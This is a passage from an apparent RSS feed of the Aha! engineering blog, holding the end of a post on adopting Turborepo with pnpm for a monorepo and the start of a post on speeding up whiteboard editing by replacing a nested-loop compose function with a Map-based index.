&lt;p&gt;With a very high bar set by Nx, we tried &lt;a href=&quot;https://pnpm.io/workspaces&quot;&gt;pnpm workspaces&lt;/a&gt;. They work great, are easy to use, and you don&apos;t need to add anything to make them work. If you are looking for something that can be set up in a couple minutes, this would probably be one of your top choices. For our monorepo, however, it lacked basic features such as local computation caching and local task orchestration. This made it hard to justify its use because it wouldn&apos;t help us manage our monorepo locally or in CI. We didn&apos;t want to build custom tooling to manage our monorepo. And even though this was the most frictionless approach we could&apos;ve taken, it wasn&apos;t the best option for a team of 40+ engineers.&lt;/p&gt;
&lt;h2&gt;Turborepo + pnpm&lt;/h2&gt;
&lt;p&gt;Lastly, we tried &lt;a href=&quot;https://turbo.build/repo&quot;&gt;Turborepo&lt;/a&gt;. At this point we knew Nx had the features we wanted, but it was very opinionated and had a steep learning curve. We also knew that plain pnpm workspaces lacked the basic features that would save us time throughout our day-to-day tasks, but they were simple and easy to understand with only a few new concepts to learn. It was great to find out that Turborepo had all the features we liked from Nx — including local computation caching, local task orchestration, and the ability to detect affected projects/packages — while being only a bit more complex than plain pnpm workspaces. Having this simple additional layer that already had everything we wanted without a steep learning curve was a win-win situation.&lt;/p&gt;
&lt;h2&gt;No new things to learn&lt;/h2&gt;
&lt;p&gt;The POC was a great opportunity to try many things in a short period of time before committing to a tool. In the end, we chose Turborepo because it works well with our current build systems and it&apos;s extremely easy to use. From the developer experience point of view, it&apos;s pretty similar to what we were already doing. Before adopting the monorepo, if you wanted to start our front-end development server, you would run &lt;code&gt;yarn start&lt;/code&gt;. Now with our monorepo, you run &lt;code&gt;pnpm start&lt;/code&gt; and that&apos;s it. If you are an engineer who is not actively making changes to the monorepo packages or configuration, you don&apos;t need to know anything else to use it. And if you want to use some of the more advanced Turborepo features, you can check their docs and append the flags to the command.&lt;/p&gt;
&lt;p&gt;Again, it was paramount to our team to choose a tool that was as frictionless as possible. We love Rails. When adding new things, we usually try to follow the convention over configuration principle — and this wasn&apos;t any different with our monorepo.&lt;/p&gt;
&lt;p&gt;Turborepo is configured with a single JSON file named &lt;code&gt;turbo.json&lt;/code&gt; where you define all your pipelines in a simple way, like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  &quot;$schema&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;https://turbo.build/schema.json&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  &quot;pipeline&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    &quot;build&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;cache&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;outputs&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;dist/**&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // &quot;A workspace&apos;s `build` command depends on its dependencies&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // or devDependencies&apos; `build` command being completed first&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;dependsOn&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;^build&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    &quot;start&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // &quot;A workspace&apos;s `start` command is a long-running process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;persistent&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &quot;dependsOn&quot;&lt;/span&gt;&lt;span style=&quot;color:#B31D28;font-style:italic&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;^build&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    &quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // &quot;A workspace&apos;s `test` command depends on its own `lint` and&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // `build` commands first being completed&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;dependsOn&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;lint&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    &quot;deploy&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // &quot;A workspace&apos;s `deploy` command, depends on its own `build`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // and `test` commands first being completed&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      &quot;dependsOn&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // A workspace&apos;s `lint` command has no dependencies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    &quot;lint&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The name of each pipeline is the name of the &lt;code&gt;pnpm script&lt;/code&gt; that will run on each package (respecting the order defined by the &lt;code&gt;dependency graph&lt;/code&gt;). There are many options for configuring this file, but &lt;code&gt;dependsOn&lt;/code&gt;, &lt;code&gt;outputs&lt;/code&gt;, &lt;code&gt;cache&lt;/code&gt;, and &lt;code&gt;persistent&lt;/code&gt; are among the most relevant.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;dependsOn&lt;/code&gt;: The list of tasks this task depends on&lt;/li&gt;
&lt;li&gt;&lt;code&gt;outputs&lt;/code&gt;: The set of glob patterns on a task&apos;s cacheable file system outputs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cache&lt;/code&gt;: Whether or not to cache the task &lt;code&gt;outputs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;persistent&lt;/code&gt;: A task can be labeled as persistent if it is a long-running process, such as a dev server or --watch mode&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We only have to worry about configuring the file. The &lt;code&gt;dependency graph&lt;/code&gt; is autogenerated, so we don&apos;t need to tell Turborepo what depends on what and so on. A simple dependency graph could look like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/5dfdcbe50891787d03ae8e3538389901/dependency_graph.png&quot; alt=&quot;Dependency graph&quot;&gt;&lt;/p&gt;
&lt;p&gt;If we take the &lt;code&gt;turbo.json&lt;/code&gt; file from above and this &lt;code&gt;dependency graph&lt;/code&gt; as an example, Turborepo will do the following every time we run the &lt;code&gt;start&lt;/code&gt; pipeline:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Build the web components library&lt;/li&gt;
&lt;li&gt;Build the text editor package&lt;/li&gt;
&lt;li&gt;Build the whiteboard package&lt;/li&gt;
&lt;li&gt;Build the dropdown package&lt;/li&gt;
&lt;li&gt;Start the watch server for all these packages&lt;/li&gt;
&lt;li&gt;Start the watch server for the main app&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Turborepo makes it pretty easy to understand what&apos;s going on, and there are no new concepts to learn nor complex ideas to think about. Not everyone on the team needs to understand how this works under the hood in order to use it. But if anyone would like to make changes to the monorepo, it wouldn&apos;t be a complex task — because it&apos;s simple to work around Turborepo and its concepts.&lt;/p&gt;
&lt;h2&gt;It just works!&lt;/h2&gt;
&lt;p&gt;I joined Aha! in January 2022, and we shipped our monorepo at the beginning of Q3 in 2023. Ever since, it has been working without issues both in production and in the local environments for everyone on the team. We had to make some changes to our CI and build systems, but those were minimal. And in most cases, it ended up simplifying the code we were running in the past. We don&apos;t use all the features that Turborepo offers, but we use what we need — which is great. Being able to use the tool in the way you want (and not having to do so in the way the tool mandates) is something that makes us really happy about our choice.&lt;/p&gt;
&lt;p&gt;Since we adopted the monorepo, we have pushed close to 2,500 commits that include changes to our packages in almost 450 pull requests. At the beginning of this blog, I was talking about how our old process to ship changes from our private packages was slow even for very small things. If we are conservative, we could say that every pull request took us an average of 30 more minutes before the monorepo. So we have saved close to 55 hours worth of development time — or more accurately, of waiting in front of the screen — each month.&lt;/p&gt;
&lt;p&gt;In the end, it is not only about the time we save, but more about the frustration we remove from our day-to-day work. Having one less thing to worry about frees up more space in our heads to think about what really matters: shipping awesome features for our customers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Improving the editing experience in Aha! whiteboards]]></title><description><![CDATA[Our team at Aha! loves using Aha! software. It's not only a great way to build our own lovable product, but it also helps us to find rough…]]></description><link>https://www.aha.io/engineering/articles/improving-whiteboard-performance</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/improving-whiteboard-performance</guid><dc:creator><![CDATA[Greg Brown]]></dc:creator><pubDate>Thu, 11 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-left: auto;
    margin-right: auto;
  }
&lt;/style&gt;
&lt;p&gt;Our team at Aha! loves using Aha! software. It&apos;s not only a great way to build our own lovable product, but it also helps us to find rough edges before customers do and develop empathy for our users.&lt;/p&gt;
&lt;p&gt;So when one of our principal engineers, &lt;a href=&quot;https://www.aha.io/blog/my-name-is-maeve-revels-this-is-why-i-joined-aha&quot;&gt;Maeve Revels&lt;/a&gt;, wanted to share some insights on our internal data architecture, an &lt;a href=&quot;https://www.aha.io/support/roadmaps/strategic-roadmaps/notebook/intro-to-whiteboards&quot;&gt;Aha! whiteboard&lt;/a&gt; was the obvious choice — whiteboards make it straightforward to build out a rich visual presentation and navigate through the frames in sequence. The end result was a whiteboard with thousands of shapes illustrating complex data relationships, including how we use tools like &lt;a href=&quot;https://kafka.apache.org/&quot;&gt;Kafka&lt;/a&gt; and &lt;a href=&quot;https://redis.com/&quot;&gt;Redis&lt;/a&gt;, plus the scale at which we operate them.&lt;/p&gt;
&lt;p&gt;Maeve&apos;s presentation was great, and we all learned a lot! But as an engineer on the team responsible for our whiteboard functionality, I wondered what the editing experience was like and whether it could be improved.&lt;/p&gt;
&lt;p&gt;When I looked at the whiteboard later, sure enough, I noticed some laggy rendering — particularly when dragging or bulk-updating a large number of shapes. I was motivated to try to fix it. And on the Aha! team, this is encouraged — we &lt;a href=&quot;https://www.aha.io/blog/trust-the-engineers-dont-put-bugs-on-your-roadmap&quot;&gt;empower every engineer&lt;/a&gt; to take ownership of our product, fixing or improving it as we go. So I started digging into the code.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/34d21236ebe9b98133735c00980904b7/kafka_at_production_scale.png&quot; alt=&quot;Kafka at production scale&quot;&gt;&lt;/p&gt;
&lt;h2&gt;The initial investigation&lt;/h2&gt;
&lt;p&gt;First, I created a representative whiteboard for testing with hundreds of shapes, then opened Google Chrome&apos;s &lt;a href=&quot;https://developer.chrome.com/docs/devtools/performance&quot;&gt;performance tools&lt;/a&gt; to run a profile on our javascript code while dragging. Browser performance tools are a powerful way to diagnose this sort of issue and well worth learning to use. I captured some screenshots and notes on performance for later comparison.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/bb5349857ea599f2f3dfd0facbe807b3/chrome_performance_tools.png&quot; alt=&quot;Chrome performance tools&quot;&gt;&lt;/p&gt;
&lt;p&gt;Chrome&apos;s &lt;a href=&quot;https://developer.chrome.com/docs/devtools/performance#record&quot;&gt;flame graph&lt;/a&gt; showed me an obvious culprit — a compose function that was called thousands of times as I dragged the shapes. Reading the code, I realized it contained a nested for loop — the classic marker of &lt;a href=&quot;https://en.wikipedia.org/wiki/Big_O_notation&quot;&gt;O(n&lt;sup&gt;2&lt;/sup&gt;)&lt;/a&gt; computational complexity. Essentially, the algorithm takes an array of whiteboard operations (each representing a change) and removes redundant operations. For example, if an object&apos;s position moves several times in quick succession, we only need to keep the last operation. Another example is when an object is created and then updated. We can combine the updates into the original creation. The compose function did this by iterating through the array, and for each item, iterating again to check for related operations.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/b85fb5a178bfa9a979c13a56f9f75624/algorithm_visualization.png&quot; alt=&quot;Algorithm visualization&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Addressing the problem&lt;/h2&gt;
&lt;p&gt;The first problem was the algorithm&apos;s inner loop — an O(n) operation by itself. If I could make this O(1), we could potentially get a big gain right away. The problem was that we had to essentially scan the array for matches, so we needed some sort of index.&lt;/p&gt;
&lt;p&gt;If you&apos;ve ever optimized a database query, this&apos;ll sound familiar. The neat thing is that it really is the same problem in a different context. Just as database access patterns determine the ideal table and index structure, we can use the same mental model to transform our data structure on the frontend for efficient access. In this case, I used a nested &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map&quot;&gt;Map&lt;/a&gt; which I could represent like this in Typescript:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; OperationMap&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  string&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// id of updated object&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  Map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    string&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// property name to update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;    Operation&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt; // update details&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; refs&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; OperationMap&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// once populated, we can look up all operations for an object like this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; allOperations&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; refs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(objectId)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// or a specific object property update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; colorOperation&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; refs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(objectId)?.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;color&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Initially, I wrote a two-pass solution with a full iteration to fill out the Map and a second to do the work, referring to the Map as needed. I quickly realized though that I could eliminate the extra iteration and create the Map on the fly. This worked because the algorithm really only needed to look at later operations. And by iterating in reverse, I could ensure these were already processed.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; refs&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; OperationMap&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; operations.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;--&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; op&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; operations[i];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (op.type &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;update&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // check for later matching ops (stored already because we&apos;re iterating in reverse)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updatesForObject &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; refs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; updateForProperty&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updatesForObject?.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op.property);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (updateForProperty) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // if it&apos;s updating the same property, update stored op for undo, and delete&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      updateForProperty.previousValue &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; op.value;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      deleteOp&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // otherwise store op - this is the latest update for that object/property that we&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // want to keep&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;updatesForObject) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        updatesForObject &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Map&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        refs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op.id, updatesForObject);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      updatesForObject.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op.property, op);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
